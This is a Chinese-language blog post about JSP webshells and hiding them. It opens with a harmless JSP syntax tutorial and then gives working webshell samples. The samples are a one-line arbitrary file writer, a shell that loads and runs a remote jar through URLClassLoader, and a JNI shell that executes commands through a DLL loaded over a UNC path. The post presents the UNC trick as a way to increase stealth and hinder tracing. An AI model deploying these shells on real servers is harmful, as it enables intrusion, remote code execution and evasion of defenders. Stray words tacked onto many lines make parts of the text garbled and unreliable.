Deformity JSP Webshell、Webshell Hidden Learning

1. JSP基础语法

0x1: 脚本程序

脚本程序能够包含任意量的Java语句、变量、方法或表达式,只要它们在脚本语言中是有效的php

脚本程序的语法格式:
<% 代码片断 %>

或者能够编写与其等价的XML语句
<jsp:scriptlet>
   代码片断
</jsp:scriptlet>

任何文本、HTML标签、JSP元素必须写在脚本程序的外面html

<html>
<head><title>Hello World</title></head>
<body>
Hello World!<br/>
<%
out.println("Your IP address is " + request.getRemoteAddr());
%>
</body>
</html>

0x2: JSP声明

一个声明语句能够声明一个或多个变量、方法,供后面的Java代码使用。在JSP文件中,您必须先声明这些变量和方法而后才能使用它们
JSP声明的语法格式 java

<%! declaration; [ declaration; ]+ ... %>

或者也能够编写与其等价的XML语句
<jsp:declaration>
   代码片断
</jsp:declaration>

程序示例web

<%! int i = 0; %> 
<%! int a, b, c; %> 
<%! Circle a = new Circle(2.0); %> 

0x3: JSP表达式

1. 一个JSP表达式中包含的脚本语言表达式,先被转化成String,而后插入到表达式出现的地方 
2. 因为表达式的值会被转化成String,因此您能够在一个文本行中使用表达式而不用去管它是不是HTML标签 
3. 表达式元素中能够包含任何符合Java语言规范的表达式,可是不能使用分号来结束表达式 

JSP表达式的语法格式shell

<%= 表达式 %>

一样也能够编写与之等价的XML语句 
<jsp:expression>
   表达式
</jsp:expression>

程序示例express

<html> 
<head><title>A Comment Test</title></head> 
<body>
<p>
   Today's date: <%= (new java.util.Date()).toLocaleString()%>
</p>
</body> 
</html>

0x4: JSP注释

JSP注释主要有两个做用: 为代码做注释、以及将某段代码注释掉浏览器

1. HTML注释

<!-- comment [ <%= expression %> ] -->

示例缓存

<!-- This file displays the user login screen --> 
在客户端的HTML源代码中产生和上面同样的数据: 
<!-- This file displays the user login screen -->

<!-- This page was loaded on <%= (new java.util.Date()).toLocaleString() %> -->

2. 隐藏注释

写在JSP程序中,但不是发给客户服务器

<%-- 这里能够填写 JSP 注释 --%>

JSP编译器是不会对<%-- ... --%>之间的语句进行编译的,它不会显示在客户的浏览器中,也不会在源代码中看到在<%-- --%>之间的代码,你能够任意写注释语句,可是不能使用"--%>",若是你非要使用请用"--%\>"session

<html> 
<head><title>A Comment Test</title></head> 
<body> 
<h2>A Test of Comments</h2> 
<%-- 该部分注释在网页中不会被显示--%> 
</body> 
</html> 

0x5: JSP指令

JSP指令用来设置与整个JSP页面相关的属性
JSP指令语法格式

<%@ directive attribute="value" %>
这里有三种指令标签  
1. <%@ page ... %>: 定义页面的依赖属性,好比脚本语言、error页面、缓存需求等等
2. <%@ include ... %>: 包含其余文件
<%@ taglib ... %>: 引入标签库的定义,能够是自定义标签

0x6: JSP行为

JSP行为标签使用XML语法结构来控制servlet引擎。它可以动态插入一个文件,重用JavaBean组件,引导用户去另外一个页面,为Java插件产生相关的HTML等等
行为标签只有一种语法格式,它严格遵照XML标准

<jsp:action_name attribute="value" />

0x7: JSP隐含对象

JSP支持九个自动定义的变量,称为隐含对象

1. request: HttpServletRequest类的实例
2. response: HttpServletResponse类的实例
3. out: PrintWriter类的实例,用于把结果输出至网页上
4. session: HttpSession类的实例
5. application: ServletContext类的实例,与应用上下文有关
6. config: ServletConfig类的实例
7. pageContext: PageContext类的实例,提供对JSP页面全部对象以及命名空间的访问
8. page: 相似于Java类中的this关键字
9. Exception: Exception类的对象,表明发生错误的JSP页面中对应的异常对象

0x8: JSP常量

JSP语言定义了如下几个常量

1. Boolean: true and false
2. Integer: 与Java中的同样
3. Floating point: 与Java中的同样
4. String: 以单引号或双引号开始和结束。" 被转义成 \",'被转义成 \', \ 被转义成\\
5. Null: null

Relevant Link:

http://www.runoob.com/jsp/jsp-syntax.html
http://vod.sjtu.edu.cn/help/Article_Show.asp?ArticleID=1448

 

2. WEBSHELL Samples

0x1: 写文件

<%  
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); 
%>

Relevant Link:

http://www.2cto.com/Article/201503/378649.html
http://www.blogjava.net/lusm/archive/2007/02/21/100295.html
http://dingody.iteye.com/blog/2003882
http://blog.kukafei520.net/html/2010/444.html
http://www.125135.com/491711.html
http://www.125135.com/317079.htm
http://www.125135.com/317770.htm

0x2:经过反射远程加载jar包执行shellcode代码 

<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%> 

经过远程加载的方式,把远程的jar文件进行加载 (有害代码里都放jar里),本质上和php里的include原理相似。

远程部署的jar里放会被查杀的shell代码,好比菜刀的一句话客户端(.java)文件,而后把该java 文件编译成jar包便可。

0x3:利用jni远程调用载入dll,实现payload和loader分离

在java中,Java没法直接访问到操做系统底层如硬件系统,为此Java提供了JNI(Java Native Interface )来实现对于底层的访问。

JNI容许Java代码使用以其余语言编写的代码和代码库,本地程序中的函数也能够调用Java层的函数,即JNI实现了Java和本地代码间的双向交互。

java中能够使用native关键字来讲明这个方法是原生函数,也就是这个方法是用C/C++语言实现的,而且被编译成了DLL,由java去调用。

能够将native方法比做Java程序同C程序的接口,其实现步骤:

1. 在Java中声明native()方法,而后编译;
2. 用javah命令产生一个.h文件;
3. 写一个.cpp文件实现native导出方法,其中须要包含第二步产生的.h文件(注意其中又包含了JDK带的jni.h文件);
4. 将第三步的.cpp文件编译成动态连接库文件;
5. 在Java中用System.loadLibrary()或者System.load()方法加载第四步产生的动态连接库文件,这个native()方法就能够在Java中被访问了。

最后jsp webshell以下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
 class JniClass {
   public native String exec(String string);
   public JniClass() {
   //System.load("/Users/nano/IdeaProjects/untitled1/target/classes/libJniClass.jnilib");
     //System.load("C:\\Program Files\\Apache Software Foundation\\Tomcat 8.5\\webapps\\shellbypass\\1.dll");
     System.load("\\\\vmware-host\\Shared Folders\\test\\1.dll");
   }
 }
 ;
%>
<%
 String cmd  = request.getParameter("cmd");
 JniClass jniClass = new JniClass();
 String res = jniClass.exec(cmd);
%>
<%=res%>

jsp load时有两种思路,一种是将该jsp文件和该dll放置于服务器的本地路径。jsp的代码里指定dll的绝对路径\相对路径;另一种是使用unc路径,这样恶意dll经过远程部署,增强隐蔽程度,加大溯源难度、提升部署灵活度。

Relevant Link:

https://mp.weixin.qq.com/s/RCXrCHJl4w4CTeLk_HPzQA
相关文章
相关标签/搜索